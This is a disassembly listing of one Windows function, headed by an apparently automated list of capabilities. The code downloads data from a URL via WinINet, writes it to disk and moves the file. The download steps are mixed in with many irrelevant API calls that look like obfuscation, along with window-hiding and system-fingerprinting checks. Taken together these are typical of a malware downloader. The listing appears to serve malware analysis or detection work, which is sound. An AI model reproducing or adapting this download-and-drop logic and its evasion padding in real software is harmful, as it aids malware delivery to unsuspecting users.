Function at 0x4024f0
Capabilities:
Check for time delay via gettickcount
Create http request
Download and write a file
Get disk information
Get file attributes
Get memory capacity
Hide graphical window
Identify system language via api
Move file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
mov eax, dword [0x55f350]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x103
mov edi, ecx
lea ecx, [ebp - 0x113]
push 0
push ecx
mov dword [ebp - 0x64c], eax
mov ebx, edx
mov byte [ebp - 0x114], 0
call fcn.004f8120
add esp, 0xc
lea edx, [ebp - 0x634]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
lea eax, [ebp - 0x644]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
cmp dword [edi + 0x14], 0x10
jb 0x40255b
mov edi, dword [edi]
push ebx
push edi
lea ecx, [ebp - 0x114]
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
add esp, 0x10
lea edx, [ebp - 0x664]
push edx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push eax
call ebx
lea eax, [ebp - 0x65c]
push eax
call edi
push eax
call ebx
lea ecx, [ebp - 0x644]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 4
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
push 0x541620
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea edx, [ebp - 0x624]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov edi, dword [sym.imp.USER32.dll_LoadCursorA]
push 0x541630
push 0
call edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
mov dword [ebp - 0x65c], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0xffffffff
je 0x40298b
push 0
push 0
push 0
push 0
push 0x54163c
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
mov dword [ebp - 0x660], eax
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov ecx, dword [ebp - 0x660]
test ecx, ecx
je 0x402977
mov eax, dword [ebp - 0x64c]
cmp dword [eax + 0x14], 0x10
jb 0x402655
mov eax, dword [eax]
push 0
push 0x4000000
push 0
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x14d
mov dword [ebp - 0x64c], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp - 0x64c], 0
je 0x40294e
push 0x500000
call fcn.00403cf7
add esp, 4
push 0
push 0x100
lea ecx, [ebp - 0x214]
push ecx
push 0
push 0x1599
push 0
push 0x1000
mov dword [ebp - 0x650], eax
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0x541640
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [ebp - 0x624]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.KERNEL32.dll_GetCPInfo]
lea eax, [ebp - 0x628]
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 0x654], ebx
call edi
push 0x349
push 0x3f7
mov dword [ebp - 0x658], ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea ecx, [ebp - 0x628]
push ecx
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x64c]
lea edx, [ebp - 0x658]
push edx
push 0x400
lea eax, [ebp - 0x614]
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4027f6
nop
mov eax, dword [ebp - 0x658]
test eax, eax
je 0x4027f0
push eax
mov eax, dword [ebp - 0x650]
lea edx, [ebp - 0x614]
push edx
lea ecx, [ebx + eax]
push ecx
call fcn.004f9c50
add esp, 0xc
lea edx, [ebp - 0x628]
push edx
push 0
call edi
push 0x54164c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add ebx, dword [ebp - 0x658]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea eax, [ebp - 0x654]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [ebp - 0x64c]
lea ecx, [ebp - 0x658]
push ecx
push 0x400
lea edx, [ebp - 0x614]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402760
mov dword [ebp - 0x654], ebx
lea ebx, [ebp - 0x654]
lea ecx, [ebp - 0x650]
call fcn.00402040
lea ecx, [ebp - 0x634]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
call esi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebx
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, dword [ebp - 0x654]
mov ecx, dword [ebp - 0x650]
push 0
lea edx, [ebp - 0x664]
push edx
mov edx, dword [ebp - 0x65c]
push eax
push ecx
push edx
mov dword [ebp - 0x664], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x54165c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x541668
push 0x541678
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x3e8
push 0x3b4
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov eax, dword [ebp - 0x650]
push eax
call fcn.00403cec
add esp, 4
lea ecx, [ebp - 0x650]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x64c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
call esi
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [ebp - 0x660]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0x624]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edx, dword [ebp - 0x65c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea ecx, [ebp - 0x648]
push ecx
push 0
call edi
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004f6105
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x660]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x541684
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.004f6105
mov esp, ebp
pop ebp
ret